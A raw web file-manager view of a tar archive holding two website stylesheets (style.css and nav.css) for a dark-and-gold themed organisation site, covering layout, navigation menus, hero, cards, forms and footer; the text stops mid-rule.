File manager - Edit - /home/verseaumee/empowernetkenyajuly2026/css.tar
Back
style.css 0000604 00000065255 15251744671 0006443 0 ustar 00 *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } :root { --c-black: #000000; --c-dark: #141414; --c-dark-2: #1a1a1a; --c-dark-3: #242424; --c-gold: #FFCE00; --c-gold-light: #ffe04d; --c-gold-dark: #cca500; --c-white: #FFFFFF; --c-grey-1: #2e2e2e; --c-grey-2: #5a5a5a; --c-grey-3: #8a8a8a; --c-grey-4: #c0b8a8; --c-error: #c0392b; --c-success: #27ae60; --font-display: 'Cormorant Garamond', Georgia, serif; --font-body: 'Barlow', system-ui, sans-serif; --font-cond: 'Barlow Condensed', sans-serif; --section-py: 7rem; --container-w: 1280px; --container-px: clamp(1rem, 4vw, 2.5rem); --ease-out: cubic-bezier(0.16, 1, 0.3, 1); --ease-in: cubic-bezier(0.7, 0, 0.84, 0); --topbar-h: 38px; --nav-h: 72px; --header-h: calc(var(--topbar-h) + var(--nav-h)); } html { scroll-behavior: smooth; font-size: 16px; } body { background: var(--c-black); color: var(--c-white); font-family: var(--font-body); font-weight: 400; line-height: 1.7; overflow-x: hidden; -webkit-font-smoothing: antialiased; } img { max-width: 100%; height: auto; display: block; } a { color: inherit; text-decoration: none; transition: color .25s; } ul { list-style: none; } button { cursor: pointer; border: none; background: none; font: inherit; } #page-loader { position: fixed; inset: 0; z-index: 9999; background: var(--c-black); display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 2rem; transition: opacity .6s var(--ease-in), visibility .6s; } #page-loader.loaded { opacity: 0; visibility: hidden; } .loader-logo img { filter: brightness(2); } .loader-bar { width: 160px; height: 2px; background: var(--c-dark-3); border-radius: 2px; overflow: hidden; } .loader-bar span { display: block; height: 100%; background: var(--c-gold); animation: loaderProgress 1.2s var(--ease-out) forwards; } @keyframes loaderProgress { from { width: 0 } to { width: 100% } } .container { max-width: var(--container-w); margin-inline: auto; padding-inline: var(--container-px); } .section { padding-block: var(--section-py); } .section-label { display: inline-block; font-family: var(--font-cond); font-size: .75rem; font-weight: 600; letter-spacing: .18em; text-transform: uppercase; color: var(--c-gold); margin-bottom: .75rem; } .section-title { font-family: var(--font-display); font-size: clamp(2rem, 4vw, 3.25rem); font-weight: 600; line-height: 1.1; color: var(--c-white); margin-bottom: 1rem; } .section-subtitle { font-size: 1.05rem; color: var(--c-grey-4); max-width: 560px; } .section-header.centered { text-align: center; } .section-header.centered .section-subtitle { margin-inline: auto; } .section-footer { text-align: center; margin-top: 3rem; } .body-text { color: var(--c-grey-4); margin-bottom: 1.5rem; max-width: 600px; } .btn { display: inline-flex; align-items: center; gap: .6rem; padding: .85rem 2rem; font-family: var(--font-cond); font-size: .9rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; transition: all .3s var(--ease-out); white-space: nowrap; } .btn-primary { background: var(--c-gold); color: var(--c-black); border: 2px solid var(--c-gold); } .btn-primary:hover { background: var(--c-gold-light); border-color: var(--c-gold-light); transform: translateY(-2px); } .btn-outline { background: transparent; color: var(--c-white); border: 2px solid rgba(255,255,255,.3); } .btn-outline:hover { border-color: var(--c-gold); color: var(--c-gold); transform: translateY(-2px); } .btn-large { padding: 1.1rem 2.8rem; font-size: 1rem; } .btn-submit { width: 100%; justify-content: center; } .site-header .nav-logo-img { height: 40px !important; width: auto !important; object-fit: contain; } .nav-logo-wrap { display: flex; align-items: center; } .site-header.scrolled { background: rgba(10,10,10,.97); backdrop-filter: blur(12px); box-shadow: 0 1px 0 rgba(201,168,76,.15); } .header-topbar { background: var(--c-dark-3); height: var(--topbar-h); display: flex; align-items: center; border-bottom: 1px solid rgba(201,168,76,.1); } .header-topbar .container { display: flex; align-items: center; justify-content: space-between; width: 100%; } .topbar-tagline { font-family: var(--font-cond); font-size: .72rem; letter-spacing: .2em; text-transform: uppercase; color: var(--c-gold); } .topbar-right { display: flex; align-items: center; gap: 1.5rem; } .topbar-link { font-size: .75rem; color: var(--c-grey-3); transition: color .2s; } .topbar-link:hover { color: var(--c-gold); } .lang-switcher { font-family: var(--font-cond); font-size: .75rem; font-weight: 700; letter-spacing: .12em; color: var(--c-gold); border: 1px solid var(--c-gold); padding: .15rem .5rem; transition: all .2s; } .lang-switcher:hover { background: var(--c-gold); color: var(--c-black); } .header-nav { height: var(--nav-h); display: flex; align-items: center; } .nav-inner { display: flex; align-items: center; justify-content: space-between; width: 100%; } .nav-logo img { height: 44px; width: auto; object-fit: contain; } .nav-menu { display: flex; align-items: center; gap: .25rem; margin: 0; padding: 0; } .nav-link { display: flex; align-items: center; gap: .3rem; padding: .5rem .9rem; font-family: var(--font-cond); font-size: .85rem; font-weight: 600; letter-spacing: .08em; text-transform: uppercase; color: rgba(245,240,232,.75); transition: color .2s; background: none; border: none; } .nav-item.active .nav-link, .nav-link:hover { color: var(--c-gold); } .chevron { transition: transform .25s; } .nav-dropdown-btn[aria-expanded="true"] .chevron { transform: rotate(180deg); } .has-dropdown { position: relative; } .dropdown-panel { position: absolute; top: calc(100% + 8px); left: 0; background: var(--c-dark-2); border: 1px solid rgba(201,168,76,.15); min-width: 220px; padding: .5rem 0; opacity: 0; visibility: hidden; pointer-events: none; transform: translateY(-8px); transition: all .25s var(--ease-out); z-index: 100; } .dropdown-panel.dropdown-wide { min-width: 280px; } .has-dropdown:hover .dropdown-panel, .has-dropdown:focus-within .dropdown-panel, .dropdown-panel.open { opacity: 1; visibility: visible; pointer-events: auto; transform: translateY(0); } .dropdown-link { display: flex; align-items: center; gap: .75rem; padding: .65rem 1.25rem; font-size: .83rem; font-weight: 500; color: var(--c-grey-4); transition: all .2s; } .dropdown-link:hover { color: var(--c-gold); background: rgba(201,168,76,.06); } .dropdown-icon { color: var(--c-gold); font-size: .7rem; } .nav-hamburger { display: none; flex-direction: column; justify-content: center; gap: 5px; width: 40px; height: 40px; padding: 6px; } .nav-hamburger span { display: block; height: 2px; background: var(--c-white); border-radius: 2px; transition: all .3s; } .nav-hamburger.open span:nth-child(1) { transform: translateY(7px) rotate(45deg); } .nav-hamburger.open span:nth-child(2) { opacity: 0; } .nav-hamburger.open span:nth-child(3) { transform: translateY(-7px) rotate(-45deg); } .mobile-menu { position: fixed; inset: 0; z-index: 800; background: var(--c-dark); padding: calc(var(--header-h) + 2rem) 2rem 2rem; overflow-y: auto; transform: translateX(100%); transition: transform .4s var(--ease-out); } .mobile-menu:not([hidden]) { transform: translateX(0); } .mobile-overlay { display: none; position: fixed; inset: 0; z-index: 799; background: rgba(0,0,0,.7); } .mobile-overlay.active { display: block; } .mobile-nav-link { display: block; padding: .9rem 0; font-family: var(--font-cond); font-size: 1.1rem; font-weight: 600; letter-spacing: .08em; text-transform: uppercase; color: var(--c-grey-4); border-bottom: 1px solid var(--c-dark-3); transition: color .2s; } .mobile-nav-link:hover { color: var(--c-gold); } .mobile-nav-sub { padding-left: 1.25rem; font-size: .9rem; } .mobile-separator { padding: 1.25rem 0 .25rem; font-size: .7rem; letter-spacing: .2em; text-transform: uppercase; color: var(--c-gold); font-family: var(--font-cond); } .hero { position: relative; min-height: 100svh; display: flex; align-items: center; padding-top: var(--header-h); overflow: hidden; } .hero-bg { position: absolute; inset: 0; background: radial-gradient(ellipse at 30% 60%, rgba(201,168,76,.08) 0%, transparent 60%), radial-gradient(ellipse at 80% 20%, rgba(26,107,138,.06) 0%, transparent 50%), var(--c-black); } .hero-overlay { position: absolute; inset: 0; background: url('/assets/images/hero-pattern.svg') center/cover; opacity: .04; } .hero-particles { position: absolute; inset: 0; overflow: hidden; } .particle { position: absolute; left: var(--x); top: 0; width: var(--size); height: var(--size); background: var(--c-gold); border-radius: 50%; opacity: .4; animation: particleFall 8s var(--delay) infinite linear; } @keyframes particleFall { from { transform: translateY(-20px); opacity: .4; } to { transform: translateY(100vh); opacity: 0; } } .hero-content { position: relative; z-index: 1; padding-block: 4rem; } .hero-eyebrow { display: flex; align-items: center; gap: 1rem; margin-bottom: 1.5rem; } .eyebrow-line { display: block; width: 40px; height: 1px; background: var(--c-gold); } .eyebrow-text { font-family: var(--font-cond); font-size: .78rem; letter-spacing: .25em; text-transform: uppercase; color: var(--c-gold); } .hero-title { font-family: var(--font-display); font-size: clamp(3.5rem, 9vw, 8rem); font-weight: 700; line-height: .95; letter-spacing: -.01em; color: var(--c-white); margin-bottom: 1.75rem; } .title-line { display: block; } .hero-subtitle { font-size: clamp(1rem, 2vw, 1.2rem); color: var(--c-grey-4); max-width: 520px; margin-bottom: 2.5rem; font-weight: 300; } .hero-actions { display: flex; flex-wrap: wrap; gap: 1rem; margin-bottom: 4rem; } .hero-stats { display: flex; align-items: center; gap: 2rem; padding: 1.5rem 0; border-top: 1px solid rgba(201,168,76,.15); } .stat-item { text-align: left; } .stat-number { display: block; font-family: var(--font-display); font-size: 2.8rem; font-weight: 700; color: var(--c-gold); line-height: 1; } .stat-label { font-size: .75rem; letter-spacing: .1em; text-transform: uppercase; color: var(--c-grey-3); font-family: var(--font-cond); } .stat-divider { width: 1px; height: 50px; background: rgba(201,168,76,.2); } .hero-scroll { position: absolute; bottom: 2rem; left: 50%; transform: translateX(-50%); display: flex; flex-direction: column; align-items: center; gap: .5rem; animation: heroScrollBounce 2s infinite; } .scroll-line { display: block; width: 1px; height: 50px; background: linear-gradient(to bottom, transparent, var(--c-gold)); } .scroll-label { font-size: .65rem; letter-spacing: .2em; text-transform: uppercase; color: var(--c-grey-3); font-family: var(--font-cond); } @keyframes heroScrollBounce { 0%, 100% { transform: translateX(-50%) translateY(0); } 50% { transform: translateX(-50%) translateY(6px); } } .news-banner { background: var(--c-dark); } .news-carousel-wrapper { position: relative; margin-top: 3rem; overflow: hidden; } .news-carousel { display: flex; gap: 1.5rem; padding-inline: var(--container-px); max-width: var(--container-w); margin-inline: auto; overflow-x: auto; scroll-snap-type: x mandatory; scroll-behavior: smooth; scrollbar-width: none; } .news-carousel::-webkit-scrollbar { display: none; } .news-card { scroll-snap-align: start; flex: 0 0 min(380px, 80vw); background: var(--c-dark-2); border: 1px solid var(--c-dark-3); transition: border-color .3s, transform .3s; } .news-card:hover { border-color: rgba(201,168,76,.3); transform: translateY(-4px); } .news-card-img { height: 220px; overflow: hidden; background: var(--c-dark-3); } .news-card-img img { width: 100%; height: 100%; object-fit: cover; transition: transform .5s; } .news-card:hover .news-card-img img { transform: scale(1.04); } .news-card-placeholder { display: flex; align-items: center; justify-content: center; color: var(--c-gold); font-size: 2.5rem; } .news-card-body { padding: 1.5rem; } .news-tag { display: inline-block; margin-bottom: .75rem; font-family: var(--font-cond); font-size: .7rem; letter-spacing: .15em; text-transform: uppercase; color: var(--c-gold); border: 1px solid rgba(201,168,76,.3); padding: .2rem .6rem; } .news-card-title { font-family: var(--font-display); font-size: 1.25rem; font-weight: 600; line-height: 1.3; margin-bottom: .75rem; color: var(--c-white); } .news-card-excerpt { font-size: .88rem; color: var(--c-grey-3); line-height: 1.6; margin-bottom: 1.25rem; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden; } .news-card-cta { display: inline-flex; align-items: center; gap: .4rem; font-family: var(--font-cond); font-size: .8rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; color: var(--c-gold); transition: gap .2s; } .news-card-cta:hover { gap: .7rem; } .carousel-controls { display: flex; align-items: center; justify-content: center; gap: 1.5rem; margin-top: 2rem; padding-inline: var(--container-px); } .carousel-prev, .carousel-next { width: 44px; height: 44px; border: 1px solid rgba(201,168,76,.3); display: flex; align-items: center; justify-content: center; color: var(--c-gold); transition: all .2s; } .carousel-prev:hover, .carousel-next:hover { background: var(--c-gold); color: var(--c-black); } .carousel-dots { display: flex; gap: .5rem; } .carousel-dot { width: 6px; height: 6px; border-radius: 50%; background: var(--c-dark-3); border: 1px solid var(--c-grey-2); transition: all .25s; cursor: pointer; } .carousel-dot.active { background: var(--c-gold); border-color: var(--c-gold); width: 20px; border-radius: 3px; } .about-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 5rem; align-items: center; } .about-visual { position: relative; } .about-frame { position: relative; padding: 2.5rem; background: var(--c-dark-2); border: 1px solid rgba(201,168,76,.12); } .about-img { width: 100%; max-width: 280px; margin-inline: auto; filter: brightness(1.1); } .frame-accent { position: absolute; border: 1px solid var(--c-gold); opacity: .2; } .frame-accent-1 { top: -12px; left: -12px; right: 40px; bottom: 40px; } .frame-accent-2 { top: 40px; left: 40px; right: -12px; bottom: -12px; } .about-badge { position: absolute; bottom: -1.5rem; right: -1.5rem; background: var(--c-gold); color: var(--c-black); padding: 1rem 1.25rem; text-align: center; } .badge-number { display: block; font-family: var(--font-display); font-size: 2rem; font-weight: 700; line-height: 1; } .badge-text { font-family: var(--font-cond); font-size: .7rem; font-weight: 600; letter-spacing: .1em; text-transform: uppercase; } .about-content { display: flex; flex-direction: column; gap: 0; } .about-content .btn { align-self: flex-start; margin-top: 1rem; } .poles-section { background: var(--c-dark); } .poles-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 1.5rem; margin-top: 3rem; } .pole-card { position: relative; padding: 2rem; background: var(--c-dark-2); border: 1px solid var(--c-dark-3); border-top: 3px solid var(--pole-color); transition: border-color .3s, transform .3s, box-shadow .3s; display: flex; flex-direction: column; } .pole-card:hover { transform: translateY(-6px); box-shadow: 0 20px 50px rgba(0,0,0,.5); border-color: var(--pole-color); } .pole-card-header { display: flex; align-items: center; gap: 1rem; margin-bottom: 1.5rem; } .pole-icon { width: 48px; height: 48px; display: flex; align-items: center; justify-content: center; background: rgba(255,255,255,.04); border: 1px solid rgba(255,255,255,.08); color: var(--pole-color); } .pole-title { font-family: var(--font-cond); font-size: 1rem; font-weight: 700; letter-spacing: .05em; text-transform: uppercase; color: var(--c-white); line-height: 1.3; flex: 1; } .pole-subs { flex: 1; display: flex; flex-direction: column; gap: .5rem; margin-bottom: 1.5rem; } .pole-sub-item { border-bottom: 1px solid rgba(255,255,255,.05); padding-bottom: .5rem; } .pole-sub-link { display: flex; align-items: center; gap: .5rem; font-size: .88rem; font-weight: 500; color: var(--c-grey-4); transition: color .2s; } .pole-sub-link:hover { color: var(--pole-color); } .sub-arrow { color: var(--pole-color); font-size: .8rem; transition: transform .2s; } .pole-sub-link:hover .sub-arrow { transform: translateX(4px); } .sub-tagline { font-size: .75rem; color: var(--c-grey-2); margin-left: 1.25rem; margin-top: .1rem; } .pole-cta { display: inline-flex; align-items: center; gap: .4rem; font-family: var(--font-cond); font-size: .78rem; font-weight: 700; letter-spacing: .12em; text-transform: uppercase; color: var(--pole-color); border-bottom: 1px solid var(--pole-color); padding-bottom: .15rem; align-self: flex-start; transition: gap .2s; } .pole-cta:hover { gap: .7rem; } .presence-section { position: relative; background: var(--c-black); border-block: 1px solid rgba(201,168,76,.08); } .presence-bg { position: absolute; inset: 0; background: radial-gradient(ellipse at center, rgba(201,168,76,.04) 0%, transparent 70%); pointer-events: none; } .presence-inner { position: relative; } .presence-countries { font-family: var(--font-cond); font-size: 1rem; letter-spacing: .15em; color: var(--c-gold); margin-top: 1rem; } .presence-flags { display: grid; grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); gap: 1.5rem; margin-top: 3.5rem; } .country-card { display: flex; flex-direction: column; align-items: center; gap: .5rem; overflow: visible; padding: 1.75rem 1rem; background: var(--c-dark-2); border: 1px solid var(--c-dark-3); text-align: center; transition: border-color .3s, transform .3s; } .country-card:hover { border-color: rgba(201,168,76,.3); transform: translateY(-4px); } .country-flag { font-size: 2.5rem; line-height: 1; } .country-name { font-family: var(--font-cond); font-weight: 700; font-size: .9rem; letter-spacing: .06em; text-transform: uppercase; color: var(--c-white); } .country-role { font-size: .75rem; color: var(--c-grey-3); } .country-badge { position: absolute; top: -12px; left: -12px; width: 45px; height: 32px; background: #fff; padding: 3px; border-radius: 4px; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5); z-index: 5; opacity: 0; visibility: hidden; transform: rotate(-10deg) translateY(10px); transition: all 0.4s var(--ease-out); } .country-badge img { width: 100%; height: 100%; object-fit: cover; object-position: center; border-radius: 2px; display: block; } .country-card:hover .country-badge { opacity: 1; visibility: visible; transform: rotate(-10deg) translateY(0); } .country-code-iso { display: block; font-family: var(--font-display); font-size: 2rem; font-weight: 900; color: #fff; margin-bottom: 0.5rem; } .cta-section { background: var(--c-gold); padding-block: 5rem; } .cta-inner { display: flex; align-items: center; justify-content: space-between; gap: 2rem; flex-wrap: wrap; } .cta-title { font-family: var(--font-display); font-size: clamp(1.8rem, 4vw, 3rem); font-weight: 700; color: var(--c-black); line-height: 1.1; } .cta-subtitle { color: rgba(10,10,10,.7); margin-top: .5rem; max-width: 480px; } .cta-section .btn-primary { background: var(--c-black); border-color: var(--c-black); color: var(--c-gold); flex-shrink: 0; } .cta-section .btn-primary:hover { background: var(--c-dark-2); border-color: var(--c-dark-2); } .page-hero { padding-top: calc(var(--header-h) + 5rem); padding-bottom: 4rem; background: linear-gradient(to bottom, var(--c-dark-2), var(--c-black)); border-bottom: 1px solid rgba(201,168,76,.1); } .page-hero-title { font-family: var(--font-display); font-size: clamp(2.5rem, 6vw, 5rem); font-weight: 600; line-height: 1; color: var(--c-white); margin-top: .5rem; } .page-hero-sub { font-size: 1.1rem; color: var(--c-grey-4); margin-top: 1rem; max-width: 520px; } .contact-grid { display: grid; grid-template-columns: 1fr 1.5fr; gap: 4rem; align-items: start; } .contact-info { display: flex; flex-direction: column; gap: 2rem; } .info-block { display: flex; gap: 1.25rem; align-items: flex-start; padding-bottom: 2rem; border-bottom: 1px solid var(--c-dark-3); } .info-block:last-child { border: none; padding-bottom: 0; } .info-icon { flex-shrink: 0; width: 44px; height: 44px; display: flex; align-items: center; justify-content: center; background: rgba(201,168,76,.08); border: 1px solid rgba(201,168,76,.2); color: var(--c-gold); } .info-label { font-weight: 600; color: var(--c-white); margin-bottom: .25rem; } .info-block p, .info-block address { font-size: .9rem; color: var(--c-grey-4); font-style: normal; } .info-block a { color: var(--c-grey-4); transition: color .2s; } .info-block a:hover { color: var(--c-gold); } .contact-form-wrap { padding: 2.5rem; background: var(--c-dark-2); border: 1px solid var(--c-dark-3); } .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 1.25rem; } .form-group { display: flex; flex-direction: column; gap: .5rem; margin-bottom: 1.25rem; } .form-group label { font-family: var(--font-cond); font-size: .78rem; font-weight: 700; letter-spacing: .1em; text-transform: uppercase; color: var(--c-grey-4); } .form-group input, .form-group textarea, .form-group select { padding: .8rem 1rem; background: var(--c-dark-3); border: 1px solid var(--grey-1); color: var(--c-white); font-family: var(--font-body); font-size: .95rem; transition: border-color .2s; resize: vertical; } .form-group input:focus, .form-group textarea:focus { outline: none; border-color: var(--c-gold); } .form-group.has-error input, .form-group.has-error textarea { border-color: var(--c-error); } .field-error { font-size: .78rem; color: var(--c-error); } .alert { padding: 1rem 1.25rem; margin-bottom: 1.5rem; display: flex; align-items: flex-start; gap: .75rem; font-size: .9rem; } .alert-success { background: rgba(39,174,96,.12); border: 1px solid rgba(39,174,96,.3); color: var(--c-success); } .alert-error { background: rgba(192,57,43,.12); border: 1px solid rgba(192,57,43,.3); color: var(--c-error); } .site-footer { background: var(--c-dark-2); border-top: 1px solid rgba(201,168,76,.1); } .footer-top { padding-block: 5rem 4rem; } .footer-grid { display: grid; grid-template-columns: 1.5fr 1fr 1fr 1.2fr; gap: 3rem; align-items: flex-start; } .site-footer .footer-brand { display: flex !important; flex-direction: column !important; align-items: flex-start !important; justify-content: flex-start !important; margin-top: 0 !important; padding-top: 0 !important; } .site-footer .footer-logo { display: block !important; width: 240px !important; height: auto !important; margin: 0 !important; padding: 0 !important; position: relative !important; top: -25px !important; } .site-footer .footer-logo img { display: block !important; width: 100% !important; height: auto !important; margin: 0 !important; } .footer-tagline { font-family: var(--font-cond); font-size: .75rem; letter-spacing: .15em; text-transform: uppercase; color: var(--c-gold); margin-bottom: .75rem; line-height: 1; } .footer-desc { font-size: .85rem; color: var(--c-grey-3); margin-bottom: 1.5rem; line-height: 1.6; } .footer-social { display: flex; gap: .75rem; } .social-link { width: 38px; height: 38px; display: flex; align-items: center; justify-content: center; border: 1px solid var(--c-grey-1); color: var(--c-grey-3); background: rgba(255, 255, 255, 0.01); border-radius: 4px; transition: all .25s var(--ease-out); } .social-link:hover { border-color: var(--c-gold); color: var(--c-gold) !important; background: rgba(201, 168, 76, 0.08); transform: translateY(-3px); box-shadow: 0 5px 15px rgba(201, 168, 76, 0.1); } .footer-heading { font-family: var(--font-cond); font-size: .75rem; font-weight: 700; letter-spacing: .18em; text-transform: uppercase; color: var(--c-gold); margin-bottom: 1.5rem; line-height: 1; padding-top: 6px; } .footer-links { display: flex; flex-direction: column; gap: .7rem; } .footer-links a { font-size: .88rem; color: var(--c-grey-4); transition: color .2s; } .footer-links a:hover { color: var(--c-gold); } .footer-address p { margin-bottom: .75rem; font-size: .85rem; color: var(--c-grey-4); line-height: 1.6; } .footer-address a { color: var(--c-grey-4); transition: color .2s; } .footer-address a:hover { color: var(--c-gold); } .footer-bottom { padding-block: 1.5rem; border-top: 1px solid var(--c-dark-3); } .footer-bottom-inner { display: flex; align-items: center; justify-content: space-between; gap: 1rem; font-size: .8rem; color: var(--c-grey-2); } .footer-legal-links { display: flex; gap: 1.5rem; } .footer-legal-links a { color: var(--c-grey-2); transition: color .2s; } .footer-legal-links a:hover { color: var(--c-gold); } @media (max-width: 1024px) { .footer-grid { grid-template-columns: 1fr 1fr; row-gap: 2.5rem; align-items: flex-start; } .about-grid { gap: 3rem; } } @media (max-width: 768px) { :root { --section-py: 4.5rem; --nav-h: 64px; } .nav-menu { display: none; } .nav-hamburger { display: flex; } .hero-title { font-size: clamp(3rem, 12vw, 5rem); } .hero-stats { gap: 1.25rem; } .stat-number { font-size: 2rem; } .about-grid { grid-template-columns: 1fr; } .about-visual { display: none; } .poles-grid { grid-template-columns: 1fr; } .contact-grid { grid-template-columns: 1fr; } .form-row { grid-template-columns: 1fr; } .footer-grid { grid-template-columns: 1fr; } .footer-bottom-inner { flex-direction: column; text-align: center; } .cta-inner { flex-direction: column; text-align: center; } .cta-inner .btn { width: 100%; justify-content: center; } .header-topbar { display: none; } :root { --header-h: var(--nav-h); } } @media (max-width: 480px) { .hero-actions { flex-direction: column; } .hero-actions .btn { width: 100%; justify-content: center; } .presence-flags { grid-template-columns: repeat(2, 1fr); } } .sub-card-img { width: 100%; height: 180px; overflow: hidden; background: var(--c-dark-3); } .sub-card-img img { width: 100%; height: 100%; object-fit: cover; transition: transform 0.5s ease; } .sub-card:hover .sub-card-img img { transform: scale(1.05); } .page-content-wrapper { display: grid; grid-template-columns: 1fr 400px; gap: 50px; align-items: start; margin-top: 30px; } .page-image-side img { width: 100%; height: auto; border-radius: 8px; box-shadow: 0 10px 30px rgba(0,0,0,0.5); } @media (max-width: 992px) { .page-content-wrapper { grid-template-columns: 1fr; } } nav.css 0000604 00000025116 15251744671 0006057 0 ustar 00 :root { --nav-h: 110px; --header-h: 110px; --nav-bg: rgba(8, 8, 8, 0.0); --nav-bg-scroll: rgba(8, 8, 8, 0.97); --mega-bg: #111111; --mega-border: rgba(201, 168, 76, 0.12); --drawer-w: 320px; } .site-header { position: fixed; top: 0; left: 0; right: 0; z-index: 900; transition: background .4s, box-shadow .4s; } .site-header.scrolled { background: var(--nav-bg-scroll); backdrop-filter: blur(16px); -webkit-backdrop-filter: blur(16px); box-shadow: 0 1px 0 var(--mega-border); } .nav-bar { height: var(--nav-h); border-bottom: 1px solid rgba(201, 168, 76, 0.08); } .nav-bar-inner { max-width: 1400px; margin-inline: auto; padding-inline: clamp(1rem, 3vw, 2.5rem); height: 100%; display: grid; grid-template-columns: 48px 1fr auto 48px; align-items: center; gap: 1rem; } .nav-logo-wrap { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 1px; text-decoration: none; grid-column: 1; } .nav-logo-img { height: 38px; width: auto; object-fit: contain; transition: filter .3s; } .nav-logo-wrap:hover .nav-logo-img { filter: brightness(0) invert(1); } .nav-slogan { display: block; font-family: var(--font-cond); font-size: 0.58rem; font-weight: 600; letter-spacing: 0.22em; text-transform: uppercase; color: var(--c-gold); opacity: 0.85; white-space: nowrap; line-height: 1; } .nav-desktop { grid-column: 3; display: flex; align-items: center; } .nav-list { display: flex; align-items: center; gap: 0; list-style: none; margin: 0; padding: 0; } .nav-item { position: relative; } .nav-link { display: flex; align-items: center; gap: 0.3rem; padding: 0.55rem 1rem; font-family: var(--font-cond); font-size: 0.78rem; font-weight: 600; letter-spacing: 0.1em; text-transform: uppercase; color: rgba(245, 240, 232, 0.7); background: none; border: none; cursor: pointer; transition: color .2s; white-space: nowrap; position: relative; } .nav-link::after { content: ''; position: absolute; bottom: -1px; left: 1rem; right: 1rem; height: 1px; background: var(--c-gold); transform: scaleX(0); transform-origin: left; transition: transform .3s var(--ease-out); } .nav-item.is-active .nav-link, .nav-item:hover > .nav-link, .nav-item.mega-open > .nav-link { color: var(--c-white); } .nav-item.is-active .nav-link::after, .nav-item:hover > .nav-link::after, .nav-item.mega-open > .nav-link::after { transform: scaleX(1); } .nav-chevron { transition: transform .25s; opacity: 0.6; } .nav-item.mega-open .nav-chevron { transform: rotate(180deg); opacity: 1; } .nav-lang { grid-column: 4; font-family: var(--font-cond); font-size: 0.72rem; font-weight: 700; letter-spacing: 0.18em; color: var(--c-gold); border: 1px solid rgba(201, 168, 76, 0.4); padding: 0.3rem 0.6rem; transition: all .2s; white-space: nowrap; text-align: center; } .nav-lang:hover { background: var(--c-gold); color: var(--c-black); } .nav-hamburger { grid-column: 1; display: none; flex-direction: column; justify-content: center; align-items: center; gap: 5px; width: 44px; height: 44px; background: none; border: none; cursor: pointer; padding: 6px; z-index: 10; } .ham-line { display: block; width: 22px; height: 1.5px; background: var(--c-white); border-radius: 2px; transition: all .3s var(--ease-out); transform-origin: center; } .nav-hamburger.is-open .ham-line:nth-child(1) { transform: translateY(6.5px) rotate(45deg); } .nav-hamburger.is-open .ham-line:nth-child(2) { opacity: 0; transform: scaleX(0); } .nav-hamburger.is-open .ham-line:nth-child(3) { transform: translateY(-6.5px) rotate(-45deg); } .mega-panel { position: fixed; top: var(--nav-h); left: 0; right: 0; background: var(--mega-bg); border-top: 1px solid var(--mega-border); border-bottom: 1px solid var(--mega-border); z-index: 800; /* État fermé */ opacity: 0; visibility: hidden; pointer-events: none; transform: translateY(-12px); transition: opacity .3s var(--ease-out), transform .3s var(--ease-out), visibility .3s; } .mega-panel.is-open { opacity: 1; visibility: visible; pointer-events: auto; transform: translateY(0); } .mega-inner { max-width: 1400px; margin-inline: auto; padding: 2.5rem clamp(1rem, 3vw, 2.5rem); display: flex; gap: 0; align-items: flex-start; } .mega-col { flex: 1; padding: 0 1.75rem; border-right: 1px solid rgba(255,255,255,.05); } .mega-col:first-child { padding-left: 0; } .mega-col-title { font-family: var(--font-cond); font-size: 0.65rem; font-weight: 700; letter-spacing: 0.22em; text-transform: uppercase; color: var(--col-color, var(--c-gold)); margin-bottom: 1rem; padding-bottom: 0.6rem; border-bottom: 1px solid rgba(255,255,255,.06); } .mega-links { list-style: none; display: flex; flex-direction: column; gap: 0.15rem; } .mega-link { display: flex; flex-direction: column; gap: 0.15rem; padding: 0.55rem 0.75rem; border-left: 2px solid transparent; transition: border-color .2s, background .2s, padding-left .2s; border-radius: 0; } .mega-link:hover { border-left-color: var(--col-color, var(--c-gold)); background: rgba(255,255,255,.03); padding-left: 1rem; } .mega-link-label { font-family: var(--font-cond); font-size: 0.88rem; font-weight: 600; letter-spacing: 0.04em; color: var(--c-white); transition: color .2s; } .mega-link:hover .mega-link-label { color: var(--col-color, var(--c-gold)); } .mega-link-desc { font-size: 0.72rem; color: var(--c-grey-3); line-height: 1.3; } .mega-cta-col { flex: 0 0 200px; padding-left: 2rem; display: flex; flex-direction: column; justify-content: flex-start; } .mega-cta-card { display: flex; flex-direction: column; gap: 0.5rem; padding: 1.5rem; background: rgba(201,168,76,.07); border: 1px solid rgba(201,168,76,.2); transition: background .25s, border-color .25s; } .mega-cta-card:hover { background: rgba(201,168,76,.12); border-color: rgba(201,168,76,.4); } .mega-cta-icon { font-size: 1.4rem; color: var(--c-gold); } .mega-cta-text { font-family: var(--font-cond); font-size: 0.82rem; font-weight: 700; letter-spacing: 0.06em; text-transform: uppercase; color: var(--c-white); line-height: 1.3; } .mega-cta-arrow { font-size: 1.1rem; color: var(--c-gold); } .mega-overlay { position: fixed; inset: 0; z-index: 799; background: rgba(0,0,0,.5); backdrop-filter: blur(2px); opacity: 0; visibility: hidden; pointer-events: none; transition: opacity .3s, visibility .3s; } .mega-overlay.is-visible { opacity: 1; visibility: visible; pointer-events: auto; } .mobile-drawer { position: fixed; top: 0; left: 0; bottom: 0; width: var(--drawer-w); max-width: 85vw; background: var(--c-dark); z-index: 1000; transform: translateX(-100%); transition: transform .38s var(--ease-out); display: flex; flex-direction: column; overflow-y: auto; overflow-x: hidden; } .mobile-drawer.is-open { transform: translateX(0); } .drawer-backdrop { position: fixed; inset: 0; z-index: 999; background: rgba(0,0,0,.65); opacity: 0; visibility: hidden; pointer-events: none; transition: opacity .35s, visibility .35s; } .drawer-backdrop.is-visible { opacity: 1; visibility: visible; pointer-events: auto; } .drawer-header { display: flex; align-items: center; justify-content: space-between; padding: 1.25rem 1.5rem; border-bottom: 1px solid var(--c-dark-3); flex-shrink: 0; } .drawer-logo { display: flex; flex-direction: column; gap: 3px; text-decoration: none; } .drawer-logo img { height: 30px; width: auto; filter: brightness(0) saturate(100%) invert(72%) sepia(43%) saturate(512%) hue-rotate(5deg) brightness(92%) contrast(90%); } .drawer-slogan { font-family: var(--font-cond); font-size: 0.55rem; 